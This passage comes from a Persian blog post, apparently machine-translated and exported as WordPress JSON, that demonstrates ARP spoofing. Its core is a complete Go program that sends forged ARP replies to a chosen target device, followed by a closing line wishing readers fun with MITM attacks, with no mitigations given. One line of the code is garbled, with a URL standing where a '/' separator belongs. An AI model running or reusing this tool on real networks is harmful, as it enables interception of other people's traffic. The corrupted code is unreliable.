highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<blockquote>\n<p>\u2139\ufe0f <strong>\u0645\u0646\u0628\u0639<\/strong> \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0645\u0627\u060c \u0645\u0647\u0627\u062c\u0645\u060c \u0628\u0627 IPv4 \u0645\u0639\u0645\u0648\u0644\u06cc \u0648 \u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc \u062e\u0648\u062f \u0647\u0633\u062a\u06cc\u0645.  \u0648 <strong>\u0645\u0642\u0635\u062f<\/strong> \u0647\u0633\u062a <strong>\u0648\u0633\u06cc\u0644\u0647 \u0627\u06cc \u06a9\u0647 \u0645\u06cc \u062e\u0648\u0627\u0647\u06cc\u0645 \u0628\u0627\u0634\u06cc\u0645<\/strong>\u060c \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0645\u0627 <strong>\u0647\u062f\u0641 \u06af\u0630\u0627\u0631\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a<\/strong> \u062f\u0633\u062a\u06af\u0627\u0647 \u0628\u0627 \u0646\u0627\u0645 \u0645\u0633\u062a\u0639\u0627\u0631 <strong>\u0642\u0631\u0628\u0627\u0646\u06cc<\/strong>.<\/p>\n<\/blockquote>\n<h3><span class=\"ez-toc-section\" id=\"%D8%A7%D8%B1%D8%B3%D8%A7%D9%84_%D8%A8%D8%B3%D8%AA%D9%87_%D9%87%D8%A7\"><\/span>\n<p>  \u0627\u0631\u0633\u0627\u0644 \u0628\u0633\u062a\u0647 \u0647\u0627<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0645\u0631\u062d\u0644\u0647 \u0622\u062e\u0631 \u0641\u0642\u0637 \u062f\u0631 \u0645\u0648\u0631\u062f \u0627\u0631\u0633\u0627\u0644 \u0628\u0633\u062a\u0647 \u0647\u0627\u06cc \u062f\u0633\u062a\u06a9\u0627\u0631\u06cc \u0634\u062f\u0647 \u062f\u0631 \u06cc\u06a9 \u062d\u0644\u0642\u0647 \u0627\u0633\u062a.  \u0627\u0645\u0627 \u0627\u0628\u062a\u062f\u0627 \u0628\u0627\u06cc\u062f \u0631\u0627\u0628\u0637 \u06a9\u0627\u0631\u0628\u0631\u06cc \u0631\u0627 \u06a9\u0647 \u0645\u06cc \u062e\u0648\u0627\u0647\u06cc\u0645 \u0627\u06cc\u0646\u0647\u0627 \u0631\u0627 \u0631\u0648\u06cc \u0622\u0646 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u06cc\u0645 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u062f\u0633\u062a\u06af\u0627\u0647 \u0631\u0627 \u0628\u0634\u0646\u0627\u0633\u06cc\u0645.  \u0645\u0646 \u0686\u0646\u062f \u06a9\u062f \u06a9\u0648\u0686\u06a9 \u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0645 \u062a\u0627 \u0627\u0628\u062a\u062f\u0627 \u0628\u0627 \u0645\u0642\u0627\u06cc\u0633\u0647 IP \u062e\u0631\u0648\u062c\u06cc \u0628\u0627 IP \u0647\u0631 \u0631\u0627\u0628\u0637 \u0631\u0648\u06cc \u062f\u0633\u062a\u06af\u0627\u0647\u060c \u0631\u0627\u0628\u0637 \u0631\u0627 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0645\u060c \u067e\u0633 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0627 \u0631\u0627\u0628\u0637 \u0645\u0648\u0631\u062f \u0646\u06cc\u0627\u0632 \u0645\u0627 \u0645\u0637\u0627\u0628\u0642\u062a \u062f\u0627\u0634\u062a.<\/p>\n<p>\u062f\u0627\u0646\u0633\u062a\u0646 \u0646\u0627\u0645 \u062f\u0633\u062a\u06af\u0627\u0647\u06cc \u06a9\u0647 \u0628\u0633\u062a\u0647 \u0647\u0627 \u0631\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0622\u0646 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc \u06a9\u0646\u06cc\u062f \u0647\u0645\u0627\u0646 \u0628\u0627\u0632\u06cc \u0627\u0633\u062a\u060c \u0631\u0648\u06cc \u0647\u0645\u0647 \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0627 \u062d\u0644\u0642\u0647 \u0645\u06cc \u0632\u0646\u06cc\u0645\u060c \u0631\u0648\u06cc \u062a\u0645\u0627\u0645 \u0622\u062f\u0631\u0633 \u0647\u0627\u06cc \u0622\u0646 \u062d\u0644\u0642\u0647 \u0645\u06cc \u0632\u0646\u06cc\u0645 IPv4 \u0631\u0627 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u06cc\u062f.  \u0633\u067e\u0633 \u062f\u0633\u062a\u06af\u0627\u0647 \u0631\u0627 \u0628\u0627\u0632 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0648 \u0633\u0639\u06cc \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0628\u0633\u062a\u0647\u200c\u0647\u0627\u06cc \u062c\u0639\u0644\u06cc \u0631\u0627 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u06cc\u0645\u060c \u0647\u0645\u0647 \u0627\u06cc\u0646 \u06a9\u0627\u0631\u0647\u0627 \u062f\u0631 \u0622\u0646 \u0627\u0646\u062c\u0627\u0645 \u0634\u062f\u0647 \u0627\u0633\u062a <code>main.go<\/code> \u0641\u0627\u06cc\u0644:<\/p>\n<div class=\"highlight js-code-highlight\">\n<pre class=\"highlight go\"><code><span class=\"k\">package<\/span> <span class=\"n\">main<\/span>\n\n<span class=\"k\">import<\/span> <span class=\"p\">(<\/span>\n      <span class=\"s\">\"github.com\/google\/gopacket\/pcap\"<\/span>\n      <span class=\"s\">\"net\"<\/span>\n      <span class=\"s\">\"strings\"<\/span>\n      <span class=\"s\">\"time\"<\/span>\n<span class=\"p\">)<\/span>\n\n<span class=\"c\">\/\/ Obviously these are not accurate &amp; fictive addresses<\/span>\n<span class=\"k\">const<\/span> <span class=\"p\">(<\/span>\n      <span class=\"n\">TargetIP<\/span>  <span class=\"o\">=<\/span> <span class=\"s\">\"192.168.13.37\"<\/span>\n      <span class=\"n\">TargetMAC<\/span> <span class=\"o\">=<\/span> <span class=\"s\">\"13:de:ad:be:ef:37\"<\/span>\n\n      <span class=\"n\">Timeout<\/span>            <span class=\"o\">=<\/span> <span class=\"m\">5<\/span> <span class=\"o\">*<\/span> <span class=\"n\">time<\/span><span class=\"o\">.<\/span><span class=\"n\">Second<\/span>\n      <span class=\"n\">TotalPacketsToSend<\/span> <span class=\"o\">=<\/span> <span class=\"m\">15<\/span>\n<span class=\"p\">)<\/span>\n\n<span class=\"k\">func<\/span> <span class=\"n\">main<\/span><span class=\"p\">()<\/span> <span class=\"p\">{<\/span>\n      <span class=\"c\">\/\/ Create a new session<\/span>\n      <span class=\"n\">s<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">NewSession<\/span><span class=\"p\">()<\/span>\n\n      <span class=\"c\">\/\/ Get the interface<\/span>\n      <span class=\"n\">ifaces<\/span><span class=\"p\">,<\/span> <span class=\"n\">err<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">Interfaces<\/span><span class=\"p\">()<\/span>\n      <span class=\"k\">if<\/span> <span class=\"n\">err<\/span> <span class=\"o\">!=<\/span> <span class=\"no\">nil<\/span> <span class=\"p\">{<\/span>\n          <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">logger<\/span><span class=\"o\">.<\/span><span class=\"n\">Fatal<\/span><span class=\"p\">(<\/span><span class=\"s\">\"Failed to retrieve interfaces: \"<\/span> <span class=\"o\">+<\/span> <span class=\"n\">err<\/span><span class=\"o\">.<\/span><span class=\"n\">Error<\/span><span class=\"p\">())<\/span>\n          <span class=\"k\">return<\/span>\n      <span class=\"p\">}<\/span>\n      <span class=\"k\">for<\/span> <span class=\"n\">_<\/span><span class=\"p\">,<\/span> <span class=\"n\">iface<\/span> <span class=\"o\">:=<\/span> <span class=\"k\">range<\/span> <span class=\"n\">ifaces<\/span> <span class=\"p\">{<\/span>\n          <span class=\"k\">if<\/span> <span class=\"n\">iface<\/span><span class=\"o\">.<\/span><span class=\"n\">HardwareAddr<\/span> <span class=\"o\">==<\/span> <span class=\"no\">nil<\/span> <span class=\"p\">{<\/span>\n            <span class=\"k\">continue<\/span>\n          <span class=\"p\">}<\/span>\n          <span class=\"n\">addrs<\/span><span class=\"p\">,<\/span> <span class=\"n\">err<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">iface<\/span><span class=\"o\">.<\/span><span class=\"n\">Addrs<\/span><span class=\"p\">()<\/span>\n          <span class=\"k\">if<\/span> <span class=\"n\">err<\/span> <span class=\"o\">!=<\/span> <span class=\"no\">nil<\/span> <span class=\"p\">{<\/span>\n              <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">logger<\/span><span class=\"o\">.<\/span><span class=\"n\">Fatal<\/span><span class=\"p\">(<\/span><span class=\"s\">\"Failed to retrieve the addresses of the interface: \"<\/span> <span class=\"o\">+<\/span> <span class=\"n\">err<\/span><span class=\"o\">.<\/span><span class=\"n\">Error<\/span><span class=\"p\">())<\/span>\n          <span class=\"p\">}<\/span>\n          <span class=\"k\">for<\/span> <span class=\"n\">_<\/span><span class=\"p\">,<\/span> <span class=\"n\">addr<\/span> <span class=\"o\">:=<\/span> <span class=\"k\">range<\/span> <span class=\"n\">addrs<\/span> <span class=\"p\">{<\/span>\n              <span class=\"k\">if<\/span> <span class=\"n\">strings<\/span><span class=\"o\">.<\/span><span class=\"n\">Split<\/span><span class=\"p\">(<\/span><span class=\"n\">addr<\/span><span class=\"o\">.<\/span><span class=\"n\">String<\/span><span class=\"p\">(),<\/span> <span class=\"s\">\"https:\/\/dev.to\/\"<\/span><span class=\"p\">)[<\/span><span class=\"m\">0<\/span><span class=\"p\">]<\/span> <span class=\"o\">==<\/span> <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">ip<\/span><span class=\"o\">.<\/span><span class=\"n\">String<\/span><span class=\"p\">()<\/span> <span class=\"p\">{<\/span>\n                  <span class=\"c\">\/\/ Set the current interface &amp; MAC address<\/span>\n                  <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">iface<\/span> <span class=\"o\">=<\/span> <span class=\"n\">iface<\/span>\n                  <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">mac<\/span> <span class=\"o\">=<\/span> <span class=\"n\">iface<\/span><span class=\"o\">.<\/span><span class=\"n\">HardwareAddr<\/span>\n                  <span class=\"k\">break<\/span>\n              <span class=\"p\">}<\/span>\n          <span class=\"p\">}<\/span>\n      <span class=\"p\">}<\/span>\n\n      <span class=\"c\">\/\/ Get the device to listen to<\/span>\n      <span class=\"n\">devices<\/span><span class=\"p\">,<\/span> <span class=\"n\">err<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">pcap<\/span><span class=\"o\">.<\/span><span class=\"n\">FindAllDevs<\/span><span class=\"p\">()<\/span>\n      <span class=\"k\">if<\/span> <span class=\"n\">err<\/span> <span class=\"o\">!=<\/span> <span class=\"no\">nil<\/span> <span class=\"p\">{<\/span>\n          <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">logger<\/span><span class=\"o\">.<\/span><span class=\"n\">Fatal<\/span><span class=\"p\">(<\/span><span class=\"s\">\"Failed to retrieve devices: \"<\/span> <span class=\"o\">+<\/span> <span class=\"n\">err<\/span><span class=\"o\">.<\/span><span class=\"n\">Error<\/span><span class=\"p\">())<\/span>\n          <span class=\"k\">return<\/span>\n      <span class=\"p\">}<\/span>\n      <span class=\"k\">for<\/span> <span class=\"n\">_<\/span><span class=\"p\">,<\/span> <span class=\"n\">device<\/span> <span class=\"o\">:=<\/span> <span class=\"k\">range<\/span> <span class=\"n\">devices<\/span> <span class=\"p\">{<\/span>\n          <span class=\"k\">for<\/span> <span class=\"n\">_<\/span><span class=\"p\">,<\/span> <span class=\"n\">address<\/span> <span class=\"o\">:=<\/span> <span class=\"k\">range<\/span> <span class=\"n\">device<\/span><span class=\"o\">.<\/span><span class=\"n\">Addresses<\/span> <span class=\"p\">{<\/span>\n              <span class=\"k\">if<\/span> <span class=\"n\">address<\/span><span class=\"o\">.<\/span><span class=\"n\">IP<\/span><span class=\"o\">.<\/span><span class=\"n\">To4<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"n\">String<\/span><span class=\"p\">()<\/span> <span class=\"o\">==<\/span> <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">ip<\/span><span class=\"o\">.<\/span><span class=\"n\">String<\/span><span class=\"p\">()<\/span> <span class=\"p\">{<\/span>\n                  <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">device<\/span> <span class=\"o\">=<\/span> <span class=\"n\">device<\/span>\n                  <span class=\"k\">break<\/span>\n              <span class=\"p\">}<\/span>\n          <span class=\"p\">}<\/span>\n      <span class=\"p\">}<\/span>\n\n      <span class=\"c\">\/\/ Open the device and be prepared to send the spoofed packets<\/span>\n      <span class=\"n\">handler<\/span><span class=\"p\">,<\/span> <span class=\"n\">err<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">pcap<\/span><span class=\"o\">.<\/span><span class=\"n\">OpenLive<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">device<\/span><span class=\"o\">.<\/span><span class=\"n\">Name<\/span><span class=\"p\">,<\/span> <span class=\"m\">65535<\/span><span class=\"p\">,<\/span> <span class=\"no\">true<\/span><span class=\"p\">,<\/span> <span class=\"n\">pcap<\/span><span class=\"o\">.<\/span><span class=\"n\">BlockForever<\/span><span class=\"p\">)<\/span>\n      <span class=\"k\">if<\/span> <span class=\"n\">err<\/span> <span class=\"o\">!=<\/span> <span class=\"no\">nil<\/span> <span class=\"p\">{<\/span>\n          <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">logger<\/span><span class=\"o\">.<\/span><span class=\"n\">Fatal<\/span><span class=\"p\">(<\/span><span class=\"s\">\"Failed to open device: \"<\/span> <span class=\"o\">+<\/span> <span class=\"n\">err<\/span><span class=\"o\">.<\/span><span class=\"n\">Error<\/span><span class=\"p\">())<\/span>\n          <span class=\"k\">return<\/span>\n      <span class=\"p\">}<\/span>\n\n      <span class=\"c\">\/\/ Prepare the ARP reply packet<\/span>\n      <span class=\"n\">src<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">NewAddress<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">ip<\/span><span class=\"p\">,<\/span> <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">mac<\/span><span class=\"p\">)<\/span>\n      <span class=\"n\">mac<\/span><span class=\"p\">,<\/span> <span class=\"n\">_<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">ParseMAC<\/span><span class=\"p\">(<\/span><span class=\"n\">TargetMAC<\/span><span class=\"p\">)<\/span>\n      <span class=\"n\">dst<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">NewAddress<\/span><span class=\"p\">(<\/span><span class=\"n\">net<\/span><span class=\"o\">.<\/span><span class=\"n\">ParseIP<\/span><span class=\"p\">(<\/span><span class=\"n\">TargetIP<\/span><span class=\"p\">),<\/span> <span class=\"n\">mac<\/span><span class=\"p\">)<\/span>\n      <span class=\"n\">arpReply<\/span><span class=\"p\">,<\/span> <span class=\"n\">_<\/span> <span class=\"o\">:=<\/span> <span class=\"n\">NewARPReplyPacket<\/span><span class=\"p\">(<\/span><span class=\"n\">src<\/span><span class=\"p\">,<\/span> <span class=\"n\">dst<\/span><span class=\"p\">)<\/span>\n\n      <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">logger<\/span><span class=\"o\">.<\/span><span class=\"n\">Info<\/span><span class=\"p\">(<\/span><span class=\"s\">\"Sending spoofed ARP replies to \"<\/span> <span class=\"o\">+<\/span> <span class=\"n\">dst<\/span><span class=\"o\">.<\/span><span class=\"n\">GetIP<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"n\">String<\/span><span class=\"p\">()<\/span> <span class=\"o\">+<\/span> <span class=\"s\">\" with MAC \"<\/span> <span class=\"o\">+<\/span> <span class=\"n\">dst<\/span><span class=\"o\">.<\/span><span class=\"n\">GetMAC<\/span><span class=\"p\">()<\/span><span class=\"o\">.<\/span><span class=\"n\">String<\/span><span class=\"p\">()<\/span> <span class=\"o\">+<\/span> <span class=\"s\">\" every \"<\/span> <span class=\"o\">+<\/span> <span class=\"n\">Timeout<\/span><span class=\"o\">.<\/span><span class=\"n\">String<\/span><span class=\"p\">())<\/span>\n\n      <span class=\"c\">\/\/ Send the packets<\/span>\n      <span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"o\">:=<\/span> <span class=\"m\">0<\/span><span class=\"p\">;<\/span> <span class=\"n\">i<\/span> <span class=\"o\">&lt;<\/span> <span class=\"n\">TotalPacketsToSend<\/span><span class=\"p\">;<\/span> <span class=\"n\">i<\/span><span class=\"o\">++<\/span> <span class=\"p\">{<\/span>\n          <span class=\"n\">err<\/span> <span class=\"o\">=<\/span> <span class=\"n\">handler<\/span><span class=\"o\">.<\/span><span class=\"n\">WritePacketData<\/span><span class=\"p\">(<\/span><span class=\"n\">arpReply<\/span><span class=\"p\">)<\/span>\n          <span class=\"k\">if<\/span> <span class=\"n\">err<\/span> <span class=\"o\">!=<\/span> <span class=\"no\">nil<\/span> <span class=\"p\">{<\/span>\n              <span class=\"n\">s<\/span><span class=\"o\">.<\/span><span class=\"n\">logger<\/span><span class=\"o\">.<\/span><span class=\"n\">Error<\/span><span class=\"p\">(<\/span><span class=\"s\">\"Failed to send packet: \"<\/span> <span class=\"o\">+<\/span> <span class=\"n\">err<\/span><span class=\"o\">.<\/span><span class=\"n\">Error<\/span><span class=\"p\">())<\/span>\n          <span class=\"p\">}<\/span>\n          <span class=\"n\">time<\/span><span class=\"o\">.<\/span><span class=\"n\">Sleep<\/span><span class=\"p\">(<\/span><span class=\"n\">Timeout<\/span><span class=\"p\">)<\/span>\n      <span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre>\n<div class=\"highlight__panel js-actions-panel\">\n<div class=\"highlight__panel-action js-fullscreen-code-action\">\n    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-on\"><title>\u0648\u0627\u0631\u062f \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z\"\/>\n<\/svg><\/p>\n<p>    <svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"20px\" height=\"20px\" viewbox=\"0 0 24 24\" class=\"highlight-action crayons-icon highlight-action--fullscreen-off\"><title>\u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645 \u0635\u0641\u062d\u0647 \u062e\u0627\u0631\u062c \u0634\u0648\u06cc\u062f<\/title>\n    <path d=\"M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z\"\/>\n<\/svg><\/p>\n<\/div>\n<\/div>\n<\/div>\n<h3><span class=\"ez-toc-section\" id=\"%D9%86%D8%AA%DB%8C%D8%AC%D9%87\"><\/span>\n<p>  \u0646\u062a\u06cc\u062c\u0647<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u0647\u0646\u06af\u0627\u0645 \u0627\u062c\u0631\u0627\u06cc \u0627\u0628\u0632\u0627\u0631 \u06a9\u0648\u0686\u06a9\u060c \u0628\u0647 \u0648\u0636\u0648\u062d \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u0645 \u062d\u0645\u0644\u0647 ARP Spoofing \u0631\u0627 \u0647\u0646\u06af\u0627\u0645 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 Wireshark \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0646\u06cc\u0645:<\/p>\n<p><img decoding=\"async\" alt=\"\u062d\u0645\u0644\u0647 ARP Spoofing \u062f\u0631 \u062d\u0627\u0644 \u0627\u0646\u062c\u0627\u0645 \u0627\u0633\u062a\" src=\"https:\/\/nabfollower.com\/blog\/wp-content\/uploads\/2023\/04\/1681966299_230_\ud83d\udedc-ARP-Spoofing-\u0686\u06cc\u0633\u062a\u061f.png\" loading=\"lazy\" width=\"800\" height=\"230\" title=\"\"><\/p>\n<figure><figcaption>\u062d\u0645\u0644\u0647 ARP Spoofing \u062f\u0631 \u062d\u0627\u0644 \u0627\u0646\u062c\u0627\u0645 \u0627\u0633\u062a<\/figcaption><\/figure>\n<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%D9%86%D8%AA%DB%8C%D8%AC%D9%87-2\"><\/span>\n<p>  \u0646\u062a\u06cc\u062c\u0647<br \/>\n<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u062c\u0639\u0644 ARP \u0628\u0633\u062a\u0647 \u0628\u0647 \u0633\u0646\u0627\u0631\u06cc\u0648 \u0645\u06cc \u062a\u0648\u0627\u0646\u062f \u0645\u0646\u062c\u0631 \u0628\u0647 \u0639\u0648\u0627\u0642\u0628 \u062c\u062f\u06cc \u0634\u0648\u062f\u060c \u0627\u06af\u0631\u0686\u0647 \u067e\u0631\u0648\u062a\u06a9\u0644 ARP \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0642\u0627\u0646\u0648\u0646\u06cc \u0646\u06cc\u0632 \u062f\u0627\u0631\u062f\u060c \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0646\u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u062f \u06a9\u0644 \u067e\u0631\u0648\u062a\u06a9\u0644 ARP \u0631\u0627 \u0645\u0633\u062f\u0648\u062f \u06a9\u0646\u06cc\u062f.  \u0628\u0631\u062e\u06cc \u0627\u0632 \u0627\u0642\u062f\u0627\u0645\u0627\u062a \u06a9\u0627\u0647\u0634\u06cc \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u062d\u0645\u0644\u0627\u062a ARP Spoofing \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f \u06a9\u0647 \u0645\u0646 \u0628\u0647 \u0637\u0648\u0631 \u062e\u0644\u0627\u0635\u0647 \u0622\u0646\u0647\u0627 \u0631\u0627 \u0646\u0645\u06cc \u062f\u0627\u0646\u0645\u060c \u0627\u0645\u0627 \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0645\u06cc \u062a\u0648\u0627\u0646 \u0622\u0646\u0647\u0627 \u0631\u0627 \u0647\u0646\u06af\u0627\u0645 \u062c\u0633\u062a\u062c\u0648 \u062f\u0631 \u06af\u0648\u06af\u0644 \u0628\u0647 \u062a\u0646\u0647\u0627\u06cc\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f.  \u062f\u0631 \u0639\u06cc\u0646 \u062d\u0627\u0644\u060c \u0627\u0632 \u0627\u0646\u062c\u0627\u0645 \u0628\u0631\u062e\u06cc \u0627\u0632 \u062d\u0645\u0644\u0627\u062a MITM \u0644\u0630\u062a \u0628\u0628\u0631\u06cc\u062f.<\/p>\n<p><img decoding=\"async\" alt=\"MITM\" src=\"https:\/\/nabfollower.com\/blog\/wp-content\/uploads\/2023\/04\/1681966299_646_\ud83d\udedc-ARP-Spoofing-\u0686\u06cc\u0633\u062a\u061f.png\" loading=\"lazy\" width=\"800\" height=\"530\" title=\"\"><\/p>\n<figure><figcaption>MITM<\/figcaption><\/figure>\n<\/p>\n<hr\/>\n<ol>\n<li id=\"fn1\">\n<p>\u067e\u0631\u0648\u062a\u06a9\u0644 \u062d\u0644 \u0622\u062f\u0631\u0633\u060c \u0648\u06cc\u06a9\u06cc \u067e\u062f\u06cc\u0627 \u21a9<\/p>\n<\/li>\n<li id=\"fn2\">\n<p>\u062d\u0645\u0644\u0647 \u062c\u0639\u0644\u060c \u0648\u06cc\u06a9\u06cc \u067e\u062f\u06cc\u0627 \u21a9<\/p>\n<\/li>\n<\/ol><\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u067e\u0633\u062a \u0627\u0635\u0644\u06cc \u067e\u0631\u0648\u062a\u06a9\u0644 ARP \u062a\u0648\u0633\u0637 \u06a9\u0627\u0645\u067e\u06cc\u0648\u062a\u0631\u0647\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u0631\u0648\u0632\u0627\u0646\u0647 \u06cc\u0627 \u062d\u062a\u06cc \u0628\u0647 \u0635\u0648\u0631\u062a \u062c\u0632\u0626\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f. \u0627\u06cc\u0646 \u06cc\u06a9 \u067e\u0631\u0648\u062a\u06a9\u0644 \u0628\u06cc \u0627\u0647\u0645\u06cc\u062a \u0627\u0633\u062a \u0628\u0647 \u0637\u0648\u0631\u06cc \u06a9\u0647 \u0631\u0627\u06cc\u0627\u0646\u0647 \u0647\u0627 \u0627\u0632 \u0622\u062f\u0631\u0633 \u0633\u062e\u062a \u0627\u0641\u0632\u0627\u0631\u06cc \u06a9\u0647 \u0622\u062f\u0631\u0633 MAC \u0646\u06cc\u0632 \u0646\u0627\u0645\u06cc\u062f\u0647 \u0645\u06cc \u0634\u0648\u062f\u060c \u06a9\u0647 \u0628\u0647 \u0622\u062f\u0631\u0633 IP \u0645\u0631\u062a\u0628\u0637 \u0627\u0633\u062a\u060c \u0622\u06af\u0627\u0647 \u0628\u0627\u0634\u0646\u062f. 192.168.13.37. \u0627\u06cc\u0646 \u067e\u0631\u0648\u062a\u06a9\u0644\u060c \u0645\u0627\u0646\u0646\u062f \u0628\u0633\u06cc\u0627\u0631\u06cc \u062f\u06cc\u06af\u0631\u060c \u0645\u0633\u062a\u0639\u062f \u0622\u0646 &hellip;<\/p>\n","protected":false},"author":2,"featured_media":18549,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","footnotes":""},"categories":[339],"tags":[],"class_list":["post-18548","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-dev"],"_links":{"self":[{"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/posts\/18548","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/comments?post=18548"}],"version-history":[{"count":0,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/posts\/18548\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/media\/18549"}],"wp:attachment":[{"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/media?parent=18548"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/categories?post=18548"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nabfollower.com\/blog\/wp-json\/wp\/v2\/tags?post=18548"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}